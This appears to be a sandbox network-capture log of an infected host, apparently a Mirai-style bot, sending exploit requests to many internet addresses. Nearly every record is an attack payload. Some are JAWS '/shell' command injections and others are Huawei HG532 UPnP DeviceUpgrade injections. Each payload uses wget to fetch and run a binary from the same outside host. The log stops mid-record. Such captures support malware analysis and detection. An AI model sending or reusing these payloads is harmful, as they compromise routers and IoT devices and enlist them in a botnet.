Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	48322	209.5.137.99	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:55.671966076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	38652	156.68.197.109	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:55.700313091 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	50444	197.105.198.164	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:55.700381994 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	57852	41.81.176.41	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:55.730729103 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	52902	41.111.130.107	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:56.690810919 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	38284	182.33.119.190	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:56.690840960 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	45830	14.167.13.53	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:56.690860987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	36052	156.35.215.129	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:56.724286079 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	52432	197.248.58.216	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:56.759504080 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	57116	41.218.92.184	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:57.717293024 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	47044	197.157.84.236	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:57.751504898 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	50670	41.7.47.228	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709582090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	42260	113.133.45.38	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709656000 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	48682	94.112.9.213	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709691048 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	41882	183.73.24.163	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709713936 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	56932	168.37.144.65	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709748983 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	33024	25.185.53.151	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709793091 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	38134	9.39.38.181	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709827900 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	56992	109.224.106.4	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709861040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	47438	101.50.204.129	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709883928 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	48400	140.14.86.247	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709917068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	34016	189.149.78.192	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.709963083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	50904	13.230.195.198	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710000992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	42990	160.160.135.37	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710035086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	55456	124.221.69.117	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710081100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	46092	178.48.188.173	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710131884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	59014	185.136.30.48	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710150003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	54648	147.220.114.191	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:58.710181952 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	36998	175.138.16.145	80

Timestamp	Bytes transferred	Direction	Data
